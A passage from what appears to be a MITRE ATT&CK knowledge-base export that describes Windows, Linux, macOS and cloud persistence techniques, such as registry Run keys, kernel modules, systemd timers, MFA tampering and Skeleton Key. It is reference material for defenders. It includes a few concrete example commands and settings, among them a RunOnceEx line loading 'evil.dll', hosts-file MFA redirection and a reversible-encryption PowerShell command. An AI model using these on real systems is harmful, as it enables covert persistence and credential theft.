HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup. The startup folder path for all users is C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp.\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run automatically for the currently logged-on user.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.\nT1136.003 | Cloud Account | Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users)\n\nAdversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.\n\nOnce an adversary has created a cloud account, they can then manipulate that account to ensure persistence and allow access to additional resources - for example, by adding [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) or assigning [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003).\nT1098 | Account Manipulation | Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. \n\nIn order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078).\nT1547.006 | Kernel Modules and Extensions | Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming)\u00a0\n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide)\u00a0Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through kextload and kextunload commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation: System and kernel extensions in macOS)\n\nSince macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as \"Legacy System Extensions\" since there is no System Extension for Kernel Programming Interfaces.(Citation: Apple Kernel Extension Deprecation)\n\nAdversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system. Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap)\nT1574.013 | KernelCallbackTable | Adversaries may abuse the KernelCallbackTable of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The KernelCallbackTable can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once user32.dll is loaded.(Citation: Windows Process Injection KernelCallbackTable)\n\nAn adversary may hijack the execution flow of a process using the KernelCallbackTable by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.\n\nA pointer to the memory address of the KernelCallbackTable can be obtained by locating the PEB (ex: via a call to the NtQueryInformationProcess() [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the KernelCallbackTable can be duplicated, and a function in the table (e.g., fnCOPYDATA) set to the address of a malicious payload (ex: via WriteProcessMemory()). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)\n\nThe tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the KernelCallbackTable may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the KernelCallbackTable to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.\nT1053.006 | Systemd Timers | Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.(Citation: Falcon Sandbox smp: 28553b3a9d)\nT1542.004 | ROMMONkit | Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)\n\n\nROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.\nT1137.003 | Outlook Forms | Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)\n\nOnce malicious forms have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)\nT1574 | Hijack Execution Flow | Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.\n\nThere are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.\nT1078 | Valid Accounts | Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nIn some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)\nT1556.006 | Multi-Factor Authentication | Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.\n\nOnce adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621), adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD Conditional Access Exclusions)\n\nFor example, modifying the Windows hosts file (`C:\\windows\\system32\\drivers\\etc\\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a \"fail open\" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA. (Citation: Russians Exploit Default MFA Protocol - CISA March 2022) \n\nDepending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022) \nT1505.004 | IIS Components | Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: Get{Extension/Filter}Version, Http{Extension/Filter}Proc, and (optionally) Terminate{Extension/Filter}. IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: Trustwave IIS Module 2013)\n\nAdversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Extension All Incoming 2017)(Citation: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation: MMPC ISAPI Filter 2012)\n\nAdversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports RegisterModule, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation: ESET IIS Malware 2021)\nT1546 | Event Triggered Execution | Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001)\n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware)\n\nSince the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. \nT1546.004 | Unix Shell Configuration Modification | Adversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user\u2019s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session. \n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.\nT1547.002 | Authentication Package | Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=<target binary>. The binary will then be executed by the system when the authentication packages are loaded.\nT1546.015 | Component Object Model Hijacking | Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry. \n\nAdversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. \nT1137.004 | Outlook Home Page | Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)\n\nOnce malicious home pages have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page)\n\nT1574.009 | Path Interception by Unquoted Path | Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n\nService paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)\n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\nT1037.005 | Startup Items | Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items)\n\nThis is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, /Library/StartupItems isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.\nT1078.002 | Domain Accounts | Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.\nT1037.003 | Network Logon Script | Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems. \n \nAdversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.\nT1197 | BITS Jobs | Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)\n\nAdversaries may abuse BITS to download (e.g. [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)), execute, and even clean up after running malicious code (e.g. [Indicator Removal](https://attack.mitre.org/techniques/T1070)). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)\nT1546.010 | AppInit DLLs | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)\nT1546.002 | Screensaver | Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\\Windows\\System32\\, and C:\\Windows\\sysWOW64\\ on 64-bit Windows systems, along with screensavers included with base Windows installations.\n\nThe following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n* SCRNSAVE.exe - set to malicious PE path\n* ScreenSaveActive - set to '1' to enable the screensaver\n* ScreenSaverIsSecure - set to '0' to not require a password to unlock\n* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)\nT1543.001 | Launch Agent | Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\n\n Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.\n \nAdversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) \nT1505 | Server Software Component | Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.(Citation: volexity_0day_sophos_FW)\nT1556.001 | Domain Controller Authentication | Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \n\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user\u2019s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)\nT1556.005 | Reversible Encryption | An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)\n\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\n\n1. Encrypted password (G$RADIUSCHAP) from the Active Directory user-structure userParameters\n2. 16 byte randomly-generated value (G$RADIUSCHAPKEY) also from userParameters\n3. Global LSA secret (G$MSRADIUSCHAPKEY)\n4. Static key hardcoded in the Remote Access Subauthentication DLL (RASSFM.DLL)\n\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)\n\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true.\nT1546.016 | Installer Packages | Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.(Citation: Installer Package Scripting Rich Trouton)\n\nUsing legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS `postinstall` scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)) with the elevated permissions.(Citation: Application Bundle Manipulation Brandon Dalton)(Citation: wardle evilquest parti)\n\nDepending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed.\n\nFor Windows, the Microsoft Installer services uses `.msi` files to manage the installing, updating, and uninstalling of applications. Adversaries have leveraged `Prebuild` and `Postbuild` events to run commands before or after a build when installing .msi files.(Citation: Windows AppleJeus GReAT)(Citation: Debian Manual Maintainer Scripts)\nT1037.004 | RC Scripts | Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system\u2019s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.\n\nAdversaries can establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.\n\nAdversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)\n\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)\nT1543.002 | Systemd Service | Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014) Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible. \n\nSystemd utilizes unit configuration files with the `.service` file extension to encode information about a service's process. By default, system level unit files are stored in the `/systemd/system` directory of the root owned directories (`/`). User level unit files are stored in the `/systemd/user` directories of the user owned directories (`$HOME`).(Citation: lambert systemd 2022) \n\nInside the `.service` unit files, the following directives are used to execute commands:(Citation: 